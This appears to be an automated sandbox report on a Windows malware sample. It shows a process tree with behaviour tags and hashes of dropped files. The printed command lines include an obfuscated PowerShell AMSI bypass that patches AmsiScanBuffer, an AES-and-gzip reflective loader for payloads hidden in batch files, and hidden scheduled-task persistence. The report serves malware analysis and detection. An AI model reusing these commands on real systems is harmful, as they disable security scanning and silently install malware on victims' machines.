@([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$yEJzJGxBaoT=$xwZvcUHWVQCjL.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+'Mo'+'d'+'ule'+[Char](72)+''+[Char](97)+''+[Char](110)+''+'d'+'le').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+'ne'+'l'+'3'+[Char](50)+'.dl'+'l'+'')));$QYAYsFSSYwfKcu=$kHSLsNMOTTjtBq.Invoke($Null,@([Object]$yEJzJGxBaoT,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+''+[Char](97)+''+[Char](114)+''+[Char](121)+'A')));$RbbfhrMAMRIvEkKcR=$kHSLsNMOTTjtBq.Invoke($Null,@([Object]$yEJzJGxBaoT,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+'a'+'lP'+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$JCNiDsF=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QYAYsFSSYwfKcu,$iObvyeIFWXXWodmSWTE).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+'i'+'.'+'dll');$vUSztmmPJOAxjixvY=$kHSLsNMOTTjtBq.Invoke($Null,@([Object]$JCNiDsF,[Object](''+'A'+'ms'+[Char](105)+''+[Char](83)+'c'+'a'+''+[Char](110)+''+'B'+'u'+[Char](102)+''+[Char](102)+''+[Char](101)+''+'r'+'')));$OxUFiGDBvO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RbbfhrMAMRIvEkKcR,$AKQmuliDwvcNUcBFfzAHuj).Invoke($vUSztmmPJOAxjixvY,[uint32]8,4,[ref]$OxUFiGDBvO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vUSztmmPJOAxjixvY,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RbbfhrMAMRIvEkKcR,$AKQmuliDwvcNUcBFfzAHuj).Invoke($vUSztmmPJOAxjixvY,[uint32]8,0x20,[ref]$OxUFiGDBvO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OFT'+'W'+''+[Char](65)+''+'R'+''+[Char](69)+'').GetValue(''+[Char](36)+'77'+[Char](115)+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1320
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵
- Drops file in System32 directory
PID:1112
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s nsi1⤵PID:1212
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ProfSvc1⤵PID:1224
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Themes1⤵PID:1292
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s EventSystem1⤵PID:1300
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp1⤵PID:1364
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵PID:1476
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵PID:1484
-
c:\windows\system32\sihost.exesihost.exe2⤵PID:3012
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s NlaSvc1⤵PID:1564
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder1⤵PID:1588
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s Dnscache1⤵PID:1624
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1692
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1752
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted1⤵PID:1760
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s netprofm1⤵PID:1768
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1892
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s StateRepository1⤵PID:1904
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2032
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation1⤵PID:1596
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent1⤵PID:2216
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵PID:2224
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵PID:2248
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k networkservice -s CryptSvc1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2264
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵PID:2320
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc1⤵PID:2332
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks1⤵PID:2340
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2408
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2460
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2692
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:2976
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc1⤵PID:3048
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s TokenBroker1⤵PID:3204
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3328
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\New1.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:4520 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\New1.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\New1.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4768 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_286_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_286.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:520 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_286.vbs"4⤵
- Suspicious use of WriteProcessMemory
PID:1580 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_286.bat" "5⤵
- Suspicious use of WriteProcessMemory
PID:3788 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:4236
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_286.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_286.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3512 -
C:\Users\Admin\AppData\Local\Temp\New.exe"C:\Users\Admin\AppData\Local\Temp\New.exe"7⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4760 -
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77New.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\New.exe'" /sc onlogon /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:4996 -
C:\Users\Admin\AppData\Local\Temp\Install.exe"C:\Users\Admin\AppData\Local\Temp\Install.exe"7⤵
- Executes dropped EXE
PID:1052
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3872
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3344
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservice -s CDPSvc1⤵PID:4752
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:4472
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:4084
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3056
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s wlidsvc1⤵PID:3652
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3820
-
C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵PID:4256
-
C:\Windows\System32\InstallAgent.exeC:\Windows\System32\InstallAgent.exe -Embedding1⤵PID:528
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵PID:4356
-
C:\Windows\sysWOW64\wbem\wmiprvse.exeC:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding1⤵PID:1812
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Suspicious behavior: EnumeratesProcesses
PID:4568
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2KB
MD5a8641a2f94483f12ba0cad0cf02a3bc7
SHA1fae3e6835336154b90503431279eef6c52a289d2
SHA256ce70f1a4578b12964dde1e1eef8cb1948847230bf3458dfd41f8e2c32c71c24d
SHA5125c92772168461d15ef6ed7b5ab2103cb63acfb1540d2d56610bbdd4a3494e866e47a225f6c7a42fa31f9170495dcddfad24533711289a6c3bfa5857a376b3e62
-
Filesize
17KB
MD54dd59b163587b29df52115ab82810fd5
SHA18262e5404fd98368cdbca4c57b8e776308fb0f94
SHA2566e90ef6badb7eea3cb8cd3c1ab796b980b74f2728cec67b1a6864b96b696d297
SHA512591410f0be5b327d8bbb8da8aa490f94dec5c5eac2b1f0b51b3360040cfbf8278c56842a55cfe27152c1c8cd565f05a04f22693ce65b03e9a0eb34a766ed298c
-
Filesize
163KB
MD5b51552b77057c2405f73bbbf9c89234a
SHA14793adbba023f90d2d2ad0ec55199c56de815224
SHA256720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0
SHA512564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66
-
Filesize
409KB
MD5cf570b21f42f0ce411b7c9961068931e
SHA1f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d
SHA256d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234
SHA512de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684
-
Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
Filesize
1002KB
MD5f6d5bfaee8a55ff72c7b453fda066d62
SHA17d737d53013990e5d05076b7206e43eb4793fc7f
SHA2563ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
SHA512e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
-
Filesize
115B
MD5cb01c00160cd2de820599f4bad3238f0
SHA188ff5c5a2333f0565ced0c58b0cd73c588803ddd
SHA25654ee9e87b384beb4d7fc18fa71783847f1b89e808fbf82b7566d87890242021b
SHA51286cf0c2ea7819951fa893850f559c7df626d5a2926def5ccd0a604367c8d20f162295908efbc35fadadc4d69d872f5071ef697aa5d0773e378b1124866919e00
-
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize338B
MD561e57f1d2867b3b5221e3dfc6e533ee5
SHA1e0bec9f23e4a2b98884bb886482d0915164e127e
SHA25691d08494720a2faa8dada65f61322a99700ccd0b6caf0de451479a80f85690f3
SHA512d307817832d0983dda04ead04dee5d37cb265fc91e5650da57334ccb30acad1af696c468e73c14a48be683162b68a8142e7498b1c0764b789595f2fab827ef16
-
C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187
Filesize412B
MD54f7437ab81104b9595b57681e2712421
SHA19bf9827c8d9460083924beb54ba55f7c05961361
SHA256bda352f1238fa2ad3bac52cf0ee065542170f8df2fdb07a51094dd75ca3bb0e6
SHA512ae78bd10c9ee2e4dd2b009398208ddfaa1fe1bf78ea93af24b3da6d78f2693d7eac910251ae964cf2286963fbc4fa3bda7ec8539f513334a92f2d5a14a7b4696